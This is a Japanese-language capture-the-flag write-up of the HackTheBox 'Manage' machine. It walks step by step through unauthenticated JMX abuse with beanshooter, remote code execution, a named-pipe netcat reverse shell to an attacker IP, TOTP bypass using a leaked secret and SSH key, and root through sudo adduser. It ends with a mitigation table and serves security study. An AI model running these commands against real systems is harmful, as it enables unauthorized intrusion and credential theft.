0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox — Manage Writeup

難易度: Medium
OS: Linux (Ubuntu 22.04)
カテゴリ: JMX, Apache Tomcat, TOTP Bypass, sudo Misconfiguration
学習テーマ: JMX 経由の RCE (beanshooter), Google Authenticator シークレット漏洩, adduser による権限昇格


目次

  1. マシン概要
  2. 偵察 (Reconnaissance)
  3. JMX 経由の認証情報取得
  4. Web 列挙と Tomcat Manager の確認
  5. 初期侵入 (Initial Foothold)
  6. 権限昇格 — useradmin への横移動
  7. 権限昇格 — root へ
  8. まとめと学習ポイント
  9. 参照文献

マシン概要

Manage は Apache Tomcat と JMX (Java Management Extensions) の設定不備を起点に、2FA バイパスと sudo adduser の巧妙な悪用を経て root を奪うマシンです。
認証なしで接続できる JMX エンドポイントから Tomcat の管理者認証情報を取得し、beanshooter による MBean デプロイで RCE を実現します。その後、バックアップファイルに含まれた SSH 秘密鍵と Google Authenticator シークレットで TOTP 認証を突破。最後は adduser による新規ユーザー作成で Ubuntu の sudo グループを悪用し、root を取得します。

項目
IP アドレス 10.129.234.57
OS Ubuntu 22.04.5 LTS
主要サービス SSH (22), JMX/RMI (2222), HTTP/Tomcat (8080)

偵察 (Reconnaissance)

Nmap — 基本スキャン

nmap -sS -sV -sC -Pn 10.129.234.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 08:38 +0000
Nmap scan report for 10.129.234.57
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp open  java-rmi Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:41219
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp open  http     Apache Tomcat 10.1.19
|_http-title: Apache Tomcat/10.1.19
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.31 seconds

Nmap — 全ポートスキャン

nmap -T4 -sV -A -p- 10.129.234.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 08:37 +0000
Nmap scan report for 10.129.234.57
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp  open  java-rmi   Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:41219
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
8080/tcp  open  http       Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/10.1.19
33727/tcp open  tcpwrapped
41219/tcp open  java-rmi   Java RMI
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   250.88 ms 10.10.14.1
2   251.03 ms 10.129.234.57

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 511.35 seconds

偵察結果の考察

ポート サービス 判断根拠と着目点
22 SSH 認証情報が得られれば直接ログイン可能。最終的な安定シェルの候補
2222 Java RMI / JMX jmxrmi が登録されており、JMX (Java Management Extensions) エンドポイントが外部に公開されている。JMX は Java アプリケーションの管理・監視インターフェースで、認証なしでアクセスできる場合、任意コードの実行やパスワード情報の取得が可能になる。最優先で調査すべき
8080 Apache Tomcat 10.1.19 Tomcat の管理パネル (/manager) が存在する。認証情報が取れれば WAR デプロイによる RCE が狙える
41219 Java RMI 2222 の JMX が実際に通信する RMI ダイナミックポート

この段階での戦略的判断
最も危険な攻撃面は ポート 2222 の JMX エンドポイントです。JMX は本来、ローカルまたは認証付きでのみ使用されるべきですが、設定不備で外部に公開されていた場合、ペネトレーションテストで頻繁に悪用されます [1]。まず beanshooter を使って JMX に認証なしで接続し、Tomcat の設定情報(ユーザー名・パスワード)を引き出すことを試みます。


JMX 経由の認証情報取得

JMX とは
JMX (Java Management Extensions) は Java アプリケーションをリモートから監視・管理するための標準 API です。Apache Tomcat も JMX を通じて設定値やセッション情報を公開しています。JMX の RMI コネクタが認証なしで外部に公開されていると、攻撃者はアプリケーションの内部状態を自由に読み書きできます [1]。

beanshooter は JMX エンドポイントを攻撃するための専用ツールです [2]。tomcat list サブコマンドを使うと、Tomcat の tomcat-users.xml に相当するユーザー情報を JMX 経由で直接取得できます。

java -jar beanshooter.jar tomcat list 10.129.234.57 2222
[+] Listing tomcat users:
[+]
[+]     ----------------------------------------
[+]     Username:  manager
[+]     Password:  fhErvo2r9wuTEYiYgt
[+]     Roles:
[+]                Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]     ----------------------------------------
[+]     Username:  admin
[+]     Password:  onyRPCkaG4iX72BrRtKgbszd
[+]     Roles:
[+]                Users:type=Role,rolename="role1",database=UserDatabase

取得できた情報の整理
JMX 経由で Tomcat の全ユーザー情報が平文で取得できました。

ユーザー名 パスワード ロール 攻撃への利用価値
manager fhErvo2r9wuTEYiYgt manage-gui Tomcat Manager GUI への管理者ログインが可能。WAR デプロイによる RCE が狙える
admin onyRPCkaG4iX72BrRtKgbszd role1 アプリケーション固有の一般ロール。直接の昇格には使えない

manage-gui ロールを持つ manager アカウントが最重要です。このロールは Tomcat Manager Web UI (/manager/html) へのアクセスを許可するものです。


Web 列挙と Tomcat Manager の確認

feroxbuster によるディレクトリ列挙

Tomcat Manager の存在と到達可能なパスを確認します。

feroxbuster -u http://10.129.234.57:8080/ \
  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \
  -x php -k -C 503,404 -t 5
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.234.57:8080/
 🚩  In-Scope Url          │ 10.129.234.57
 🚀  Threads               │ 5
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 💢  Status Code Filters   │ [503, 404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       68w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/cluster-howto.html
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/jndi-datasource-examples-howto.html
403      GET       83l      433w     3446c http://10.129.234.57:8080/manager/status
403      GET       27l       89w      877c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       27l       89w      877c http://10.129.234.57:8080/docs/appdev
403      GET       73l      389w     3022c http://10.129.234.57:8080/host-manager/html
403      GET       83l      433w     3446c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      967l     1204w    67795c http://10.129.234.57:8080/tomcat.svg
200      GET       22l       93w    42556c http://10.129.234.57:8080/favicon.ico
302      GET        0l        0w        0c http://10.129.234.57:8080/docs => http://10.129.234.57:8080/docs/
403      GET       27l       89w      865c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       73l      389w     3022c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      398l      788w     5584c http://10.129.234.57:8080/tomcat.css
200      GET      198l      490w    11219c http://10.129.234.57:8080/
302      GET        0l        0w        0c http://10.129.234.57:8080/examples => http://10.129.234.57:8080/examples/
302      GET        0l        0w        0c http://10.129.234.57:8080/manager => http://10.129.234.57:8080/manager/
400      GET        1l       80w      842c http://10.129.234.57:8080/docs/http%3a%2f%2fwww
400      GET        1l       80w      842c http://10.129.234.57:8080/docs/http%3a%2f%2fwww.php
400      GET        1l       80w      842c http://10.129.234.57:8080/http%3a%2f%2fwww
400      GET        1l       80w      842c http://10.129.234.57:8080/http%3a%2f%2fwww.php
400      GET        1l       80w      842c http://10.129.234.57:8080/examples/http%3a%2f%2fwww
400      GET        1l       80w      842c http://10.129.234.57:8080/examples/http%3a%2f%2fwww.php
400      GET        1l       80w      842c http://10.129.234.57:8080/manager/http%3a%2f%2fwww
400      GET        1l       80w      842c http://10.129.234.57:8080/manager/http%3a%2f%2fwww.php
400      GET        1l       80w      842c http://10.129.234.57:8080/host-manager/http%3a%2f%2fwww
400      GET        1l       80w      842c http://10.129.234.57:8080/host-manager/http%3a%2f%2fwww.php

feroxbuster 結果の考察
/manager への 302 リダイレクトと /manager/status への 403 が確認できます。403 は「認証情報が正しくない」ではなく「アクセスできているが権限が足りない」状態を示します。JMX で取得した manager:fhErvo2r9wuTEYiYgt を使えば正常にアクセスできると予想されます。

Tomcat Manager へのログイン確認

取得した manager 認証情報でブラウザからアクセスします。

Tomcat Manager にログインした画面


初期侵入 (Initial Foothold)

beanshooter による MBean デプロイと RCE

Tomcat Manager へのログインは確認できましたが、beanshooter を使えば JMX 経由で直接 RCE が可能です。WAR ファイルをアップロードする手順を省き、より直接的なアプローチを取ります。

beanshooter standard tonka とは
beanshooter の standard コマンドは、JMX に StandardMBean という特殊な MBean をデプロイします。この MBean は内部で TemplateImpl を使った Java デシリアライゼーション攻撃を行い、ターゲット上でコードを実行可能にします。tonka はその後のコマンド実行に使うエージェント MBean の名称です [2]。

Step 1: tonka MBean をデプロイします。

java -jar beanshooter.jar standard 10.129.234.57 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]     Deplyoing MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=1729496860573926 was successfully deployed.
[+]
[+]     Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected bahavior and the attack most likely worked :)
[+]
[+]     Removing MBean with ObjectName de.qtc.beanshooter:standard=1729496860573926 from the MBeanServer.
[+]     MBean was successfully removed.

NullPointerException は成功の証拠
出力に This is expected behavior and the attack most likely worked とある通り、このエラーは攻撃が成功したことを示しています。MBean のデプロイと初期化が完了し、tonka シェルが起動可能な状態になっています。

Step 2: tonka シェルを起動して疎通確認します。

java -jar beanshooter.jar tonka shell 10.129.234.57 2222
[tomcat@10.129.234.57 /]$ ls

JMX 経由で tomcat ユーザーとしてコマンド実行できることを確認しました。

安定したリバースシェルの確立

tonka シェルは対話性が低いため、本格的な作業のためにリバースシェルに切り替えます。まず Kali 側でリスナーを起動しておきます。

nc -nvlp 4444

tonka シェル上から、名前付きパイプを使ったリバースシェルを発行します。

[tomcat@10.129.234.57 /home/useradmin]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.8 4444 >/tmp/f

Kali 側でリバースシェルの接続を確認します。

listening on [any] 4444 ...
connect to [10.10.15.8] from (UNKNOWN) [10.129.234.57] 58056
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@manage:/home/useradmin$ ls
ls
backups

Tomcat Manager の詳細画面

user.txt の取得

システム内に user.txt を探します。

tomcat@manage:/home/useradmin$ find / -name user.txt 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home/useradmin$ cd /opt/tomcat
tomcat@manage:~$ cat user.txt
a86d44c7243b65a9171cf7da3e0bc279

🏁 user.txt 取得完了


権限昇格 — useradmin への横移動

ホームディレクトリの探索

システム上のユーザーを確認します。

tomcat@manage:~$ cd /home
tomcat@manage:/home$ ls
karl  useradmin
tomcat@manage:/home$ cd karl
tomcat@manage:/home/karl$ ls
tomcat@manage:/home/karl$ cd ..
tomcat@manage:/home$ cd useradmin
tomcat@manage:/home/useradmin$ ls
backups
tomcat@manage:/home/useradmin$ cd backups
tomcat@manage:/home/useradmin/backups$ ls
backup.tar.gz

発見の重要性
useradmin のホームディレクトリに backups/backup.tar.gz という圧縮ファイルが存在します。このようなバックアップファイルは、SSH 秘密鍵・設定ファイル・パスワードハッシュなど機密情報を含んでいることが多く、最優先で内容を確認すべき対象です。また karl のホームが空である点も気になります。鍵の authorized_keys などが useradmin のバックアップに含まれている可能性があります。

backup.tar.gz のダウンロードと展開

tomcat@manage:/home/useradmin/backups$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.8 - - [09/May/2026 09:23:21] "GET /backup.tar.gz HTTP/1.1" 200 -

Kali 側でダウンロードします。

wget http://10.129.234.57:8000/backup.tar.gz
--2026-05-09 09:23:23--  http://10.129.234.57:8000/backup.tar.gz
10.129.234.57:8000 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 3088 (3.0K) [application/gzip]
`backup.tar.gz' に保存中

backup.tar.gz                                     100%[============================================================================================================>]   3.02K  --.-KB/s 時間 0.002s   

2026-05-09 09:23:23 (1.60 MB/s) - `backup.tar.gz' へ保存完了 [3088/3088]

展開します。

gunzip backup.tar.gz
tar -xvf backup.tar
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/id_ed25519.pub
./.ssh/authorized_keys
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history

展開結果の読み方 — 特に重要なファイル

ファイル 重要度 理由
.ssh/id_ed25519 ★★★ SSH ログインに使える秘密鍵。useradmin または karl として SSH できる可能性がある
.ssh/authorized_keys ★★ どのユーザーがこの鍵で認証できるかを示す
.google_authenticator ★★★ TOTP (2 段階認証) のシークレットキー。このファイルがある = SSH 認証に TOTP が要求されている可能性が高い

.google_authenticator の存在は、このアカウントが SSH + TOTP の 2 要素認証で保護されていることを示します。しかしシークレットキー自体が手元にあるため、TOTP コードを自前で生成できます。

SSH 秘密鍵の確認

cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAKDh98jQtlV7BLoEEadDIQUrc5hD48KsQqyFXG9u+WaAAAAJiHKYIbhymC
GwAAAAtzc2gtZWQyNTUxOQAAACAKDh98jQtlV7BLoEEadDIQUrc5hD48KsQqyFXG9u+WaA
AAAECudKxoxJ6Vz74ca74nZArTpJUIagIpT06hEYuLpk4nkQoOH3yNC2VXsEugQRp0MhBS
tzmEPjwqxCrIVcb275ZoAAAAEHVzZXJhZG1pbkBtYW5hZ2UBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

まず karl で試みます。

ssh -i id_ed25519 karl@10.129.234.57
karl@10.129.234.57: Permission denied (publickey).

次に useradmin で試みます。

ssh -i id_ed25519 useradmin@10.129.234.57
(useradmin@10.129.234.57) Verification code: 
(useradmin@10.129.234.57) Verification code: 
(useradmin@10.129.234.57) Verification code: 
useradmin@10.129.234.57: Permission denied (keyboard-interactive).

分析
karlPermission denied (publickey) で即座に拒否されており、この鍵は karlauthorized_keys に登録されていないことがわかります。
useradmin は秘密鍵自体は受け付けられているものの、**Verification code(TOTP コード)**の入力が求められています。3 回の入力に失敗して弾かれているため、次のステップでは .google_authenticator に記録されたシークレットから正規の TOTP コードを生成する必要があります。

.google_authenticator の確認と TOTP コードの生成

cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775

.google_authenticator ファイルの構造と TOTP の仕組み [3]

意味
CLSSSMHYGLENX5HAIFBQ6L35UM TOTP シークレットキー (Base32) ← これが最重要
RATE_LIMIT 3 30 30 秒間に最大 3 回の試行を許容
WINDOW_SIZE 3 前後 3 ウィンドウ(90 秒)の TOTP コードを許容
DISALLOW_REUSE 同一コードの再利用を禁止
8 桁の数字群 緊急用のバックアップコード(1 回限り有効)

TOTP (Time-based One-Time Password) は、シークレットキーと現在時刻を組み合わせて 6〜8 桁のワンタイムコードを生成します。シークレットキー CLSSSMHYGLENX5HAIFBQ6L35UM さえあれば、oathtool コマンドで現在有効な TOTP コードを生成できます。

oathtool --totp --base32 "CLSSSMHYGLENX5HAIFBQ6L35UM"

生成された 6 桁のコードを Verification code として入力します。

ssh -i id_ed25519 useradmin@10.129.234.57
(useradmin@10.129.234.57) Verification code: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat May  9 09:28:42 AM UTC 2026

  System load:           0.27
  Usage of /:            74.9% of 4.34GB
  Memory usage:          26%
  Swap usage:            0%
  Processes:             220
  Users logged in:       0
  IPv4 address for eth0: 10.129.234.57
  IPv6 address for eth0: dead:beef::a0de:adff:fed1:1c2a

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

useradmin@manage:~$ 

useradmin として SSH ログイン成功


権限昇格 — root へ

sudo 権限の確認

useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

sudo adduser ^[a-zA-Z0-9]+$ の分析

useradmin/usr/sbin/adduserパスワードなし (NOPASSWD) で実行できますが、ユーザー名は ^[a-zA-Z0-9]+$(英数字のみ)という正規表現制約があります。

一見すると単純なユーザー追加しかできないように見えますが、Ubuntu のグループポリシーに着目することで権限昇格の糸口が見えます。

Ubuntu の /etc/sudoers には以下のデフォルト設定があります。

%admin ALL=(ALL) ALL

これは admin グループのメンバー全員が sudo を使えるという意味です。
adduser admin を実行すると、Linux は admin という名前のユーザーを作成するとともに、同名のプライマリグループ admin (gid 1003) を新規作成します。Ubuntu の sudoers が %admin グループを許可しているため、作成直後の admin ユーザーはフル sudo 権限を持ちます。

つまり「英数字制限」は一見強固に見えますが、特定のグループ名(admin)と一致するユーザー名を作れる時点でバイパス可能という設計上の穴があります [4]。

admin ユーザーの作成と root 取得

useradmin@manage:~$ sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] Y

作成した admin ユーザーに切り替えます。

useradmin@manage:~$ su admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin ユーザーの sudo 権限を確認します。

admin@manage:/home/useradmin$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User admin may run the following commands on manage:
    (ALL) ALL

フル sudo 権限が確認できたので、root.txt を取得します。

admin@manage:/home/useradmin$ sudo cat /root/root.txt
b3645b7e6db6d5276ad33f0c75b8dc34

🏁 root.txt 取得完了 — マシン攻略!


まとめと学習ポイント

攻略チェーン全体図

[偵察]
 Nmap → JMX/RMI (2222) + Apache Tomcat (8080) を特定
    │    JMX が認証なしで外部公開 → 最優先で調査
    ▼
[JMX 悪用]
 beanshooter tomcat list → Tomcat ユーザー一覧を平文取得
    │  manager:fhErvo2r9wuTEYiYgt (manage-gui ロール)
    ▼
[Web 列挙]
 feroxbuster → /manager の存在を確認
    │  → ブラウザで Tomcat Manager にログイン確認
    ▼
[初期侵入]
 beanshooter standard tonka → JMX 経由で MBean デプロイ
    │  → beanshooter tonka shell → tomcat ユーザーとして任意コード実行
    │  → mkfifo リバースシェル → user.txt
    ▼
[情報収集]
 /home/useradmin/backups/backup.tar.gz を発見・ダウンロード
    │  → .ssh/id_ed25519 (SSH 秘密鍵)
    │  → .google_authenticator (TOTP シークレット: CLSSSMHYGLENX5HAIFBQ6L35UM)
    ▼
[2FA バイパスと横移動]
 ssh -i id_ed25519 useradmin → TOTP 認証を要求
    │  → oathtool でリアルタイム TOTP コードを生成
    │  → useradmin として SSH ログイン成功
    ▼
[sudo adduser 悪用]
 sudo -l → adduser ^[a-zA-Z0-9]+$ が NOPASSWD で実行可能
    │  → sudo adduser admin → Ubuntu の %admin sudoers ルールを悪用
    │  → su admin → sudo -l → (ALL) ALL
    ▼
[root 取得]
 sudo cat /root/root.txt → root.txt

脆弱性の根本原因と対策

攻撃手法 根本原因 対策
JMX 未認証アクセス JMX が認証なしで外部 IP に公開されている JMX には必ず認証を設定し、バインドアドレスを 127.0.0.1 に制限する
Tomcat 認証情報の漏洩 JMX 経由で tomcat-users.xml の内容が取得可能 JMX の認証・暗号化 (SSL) を有効化し、管理ポートへの外部アクセスを遮断する
バックアップファイルへの不適切なアクセス権 backups/ ディレクトリに SSH 秘密鍵と TOTP シークレットが平文で保存されており、tomcat ユーザーから読み取り可能 バックアップには最小権限 (700/600) を設定し、機密ファイルは暗号化してから保存する
TOTP シークレットの漏洩 .google_authenticator が適切に保護されていない 2FA は「知っているもの(パスワード)+持っているもの(デバイス)」を組み合わせる設計だが、シークレット自体が漏洩すれば意味をなさない
sudo adduser による権限昇格 admin グループに対する Ubuntu のデフォルト sudoers ルールを考慮せずに adduser を許可している sudo ルールに許可するユーザー名を明示的に制限するか、ユーザー名 admin を禁止する。あるいは adduser 自体の sudo 許可をなくす

参照文献

[1] Oracle. "Java Management Extensions (JMX) Technology." https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/overview/JMXoverviewTOC.html

[2] qtc-de. "beanshooter — JMX enumeration and attacking tool." https://github.com/qtc-de/beanshooter

[3] Google. "google-authenticator-libpam." https://github.com/google/google-authenticator-libpam

[4] MITRE ATT&CK. "Create Account: Local Account (T1136.001)." https://attack.mitre.org/techniques/T1136/001/

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?